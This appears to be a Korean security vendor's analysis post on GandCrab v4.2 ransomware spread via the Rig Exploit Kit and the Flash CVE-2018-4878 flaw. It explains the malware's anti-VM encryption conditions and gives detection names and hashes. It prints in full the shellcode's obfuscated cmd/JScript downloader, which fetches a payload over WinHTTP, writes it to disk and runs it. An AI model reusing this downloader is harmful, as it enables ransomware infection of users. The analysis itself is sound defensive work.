GandCrab(갠드크랩) 랜섬웨어는 진단을 회피하기 위해 파일 외형에 있어서 다양한 패커 사용을 통한 빠른 변화를 거듭하고 있으며, 지난 주 안랩 ASEC에서는 v4.0, v4.1, v4.1.2, v4.1.3 버전에 대한 암호화 차단(Kill-Switch) 툴을 ASEC블로그를 통해 배포하였다.(http://asec.ahnlab.com/1145) 해당 암호화 차단툴 배포 후, 등장한 v4.1.2 변종에서는 악성코드 내부에 자사에 대한 모욕적인 내용을 담고 있는 이미지 링크를 추가한 것과 함께 더 이상 차단 툴이 유효하지 않도록 관련 코드가 제거된 형태로 발견되었다.(http://asec.ahnlab.com/1146) 이후 국내 유포방식을 모니터링 하던 중 7월 24일부터는 RigEK(Rig Exploit Kit)을 통한 새로운 v4.2 버전의 유포가 확인되었다. GandCrab v2.x와 v3.x 버전이 RigEK를 통해 유포된 것은 올 해 4월에 기 알려진 상태이나, 최신 v4.2 버전이 RigEK를 통해 유포된 것이 확인된 것은 이번이 처음이다. 새롭게 확인된 버전의 기능은 기존과 크게 다르지 않지만, Anti-VM 기능이 추가된 것이 특징이다.(암호화 차단툴 - X, 안랩 모욕 이미지 링크 - O) Anti-VM기능은 시스템의 'CPU 개수' 및 사용중인 운영체제 설치 '드라이브의 총 사용량' 등을 체크하여 동작여부가 결정되는 구조이다. 조건에 따라 10분간 대기(Sleep() 함수)한 후에 암호화를 수행하는 경우와 대기없이 바로 암호화를 수행하는 경우, 암호화 작업없이 바로 종료하는 경우 3가지로 나뉜다.



1. Anti-VM기능이 추가 된 GandCrab 4.2


4.2버전의 GandCrab에서는 기존 4.1버전에 없었던 기능이 추가되었는데, 특정 환경에서는 동작하지 못하도록 하는 Anti-VM이 바로 그것이다.


아래와 같이 Anti-VM을 확인하는 코드는 복잡한 연산을 수행한 뒤의 결과 값으로 확인하게 되는데, 이 때 사용되는 값들 중 핵심 요소는 사용중인 디스크 크기, 현재 시스템의 CPU개수 및 시스템이 부팅된 후 흐른 시간이다. 이 값들을 조합하여 특정 연산 후의 최종 데이터로 암호화 여부와 sleep 함수를 수행할 것인지를 결정하게 된다.


일반적으로 가상머신 VM(Virtual Machine)환경에서는 보통 1개의 CPU와 디스크 사용량이 적은 환경으로 세팅되기 때문에 암호화 행위가 발행하지 않을 수 있다.




[그림 1] - 안티VM 체크하는 코드 루틴



아래의 [표 1]은 시스템이 부팅되고부터 10분 경과 된 후 해당 GandCrab 4.2 버전이 실행되었을 경우와 1시간이 경과한 후 실행되었을 경우 각각 암호화가 수행되는 기준 정보를 보여준다. 부팅된 시간이 오래될 수록 감염 조건에 부합하는 현재 디스크 사용량 크기 조건은 줄어든다. 예를들어 (대부분의 일반 사용자 환경인) CPU가 8개인 PC를 부팅하여 익스플로잇이 발생 될 수 있는 페이지에 접근 후 GandCrab 4.2가 실행되는데까지 1시간이 걸렸다고 했을 때 디스크 사용용량이 50G이상인 경우 바로 암호화가 수행되며, 10G인 경우는 10분간의 대기 후에 암호화가 수행된다.


  

10 mins after the system boots

CPU Counts

Minimum disk space required

(used disk space)

Perform encryption after 10

mins using sleep() funtion

Immediate encryption

without sleep() funtion

1

28GB

537GB

2

12GB

108GB

4

0GB

(Perform encryption without and conditions)

108GB

8

28GB

1 hours after the system boots

CPU Counts

Minimum disk space required

(used disk space)

Perform encryption after 10

mins using sleep() funtion

Immediate encryption

without sleep() funtion

1

28GB

108GB

2

12GB

108GB

4

0GB

(Perform encryption without and conditions)

28GB

8

23GB

 

[ 1] - 암호화 조건



2. Rig Exploit Kit을 통해 유포되는 GandCrab v4.2


[그림 2]는 Rig Exploit kit으로 탐지된 GandCrab v4.2 랜섬웨어의 탐지 로그이며, “b37.exe”를 다운로드 및 실행하는 기능을 수행한다. "b37.exe"파일이 새롭게 확인된 GandCrab v4.2이며, 함께 수집된 플래쉬 파일은 'CVE-2018-4878' 취약점을 갖는 것으로 확인되었다. [그림 3]은 취약점을 갖는 플래쉬 파일(mifxfb67.swf)의 쉘코드가 실행하는 커맨드 명령을 나타낸다.



[그림 2] - RigEK 이용한 GandCrab v4.2 탐지로그




[그림 3] - 플래시 파일 내부의 쉘코드


 

cmd.exe /q /c cd /d "%tmp%" && echo function _(k,e){for(var l=0,n,c=[],F=255,S=String,q=[],b=0;256^>b;b++)c[b]=b;ta="char"+"CodeAt";for(b=0;256^>b;b++)l=l+c[b]+e[ta](b%e.length)

^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],

c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q["join"]("")};

/**/function V(k){var y=a(e+"."+e+/**/"Reques\x74.5.1");T="G";y["se"+"tProxy"](n);y["o"+"pen"](T+"ET",k(1),1);y.Option(n)=k(2);y.send();y["Wai"+"tForResponse"]();W="respo"+"nseText";

if(40*5==y.status) return _(y[W],k(n))};try{M="WSc";u=this[M+"ript"],o="Object";P=(""+u).split(" ")

[1],M="indexOf",m=u.Arguments,e="WinHTTP",Z="cmd",U="DEleTefIle",a=Function/**/("QW","return

 u.Create"+o+"(QW)"),q=a(P+"ing.FileSystem"+o),s=a("ADO"+"DB.Stream"),j=a("W"+P+".Shell"),

x="b"+Math.floor(Math.random() * 57)+".",p="exe",n=0,K=u[P+"FullName"],E="."+p;s.Type=2;s.

Charset="iso-8859-1";try{v=V(m)}catch(W){v=V(m)};Q="PE\x00\x00";d=v.charCodeAt(21+v[M](Q));s.Open();h="dll";if(037^<d){var z=1;x+=h}else x+=p;s.WriteText(v);s.savetofile(x,2);C=" /c ";s.Close();i="regs";z^&^&(x=i+"vr32"+E+" /s "+x);j["run"](Z+E+C+x,0)}catch(EE){};q[U](K);>

T32.tmp && start wscript //B //E:JScript T32.tmp "


[ 2] - 쉘코드에서 실행되는 명령

 


CVE-2018-4878 취약점을 예방하기 위해서는 플래시 플레이어 버전을 항상 최신으로 업데이트 해주어야 한다. 또한 자사에서는 해당 GandCrab v4.2 랜섬웨어를 아래와 같이 진단 중이다.


 

SWF 플래시 파일

GandCrab 4.2 실행 파일

행위진단

Malware/MDP.DriveByDownload

Malware/MDP.Ransom

파일진단

SWF/Cve-2018-4878.Exp.3

Trojan/Win32.Gandcrab

MD5 HASH

aca9bc42091691e4b94f6a70e4f2c55e

0c8177d87b821af30756cd2edc9b939a


[표 3] - 자사 제품 진단 정보

Posted by 분석팀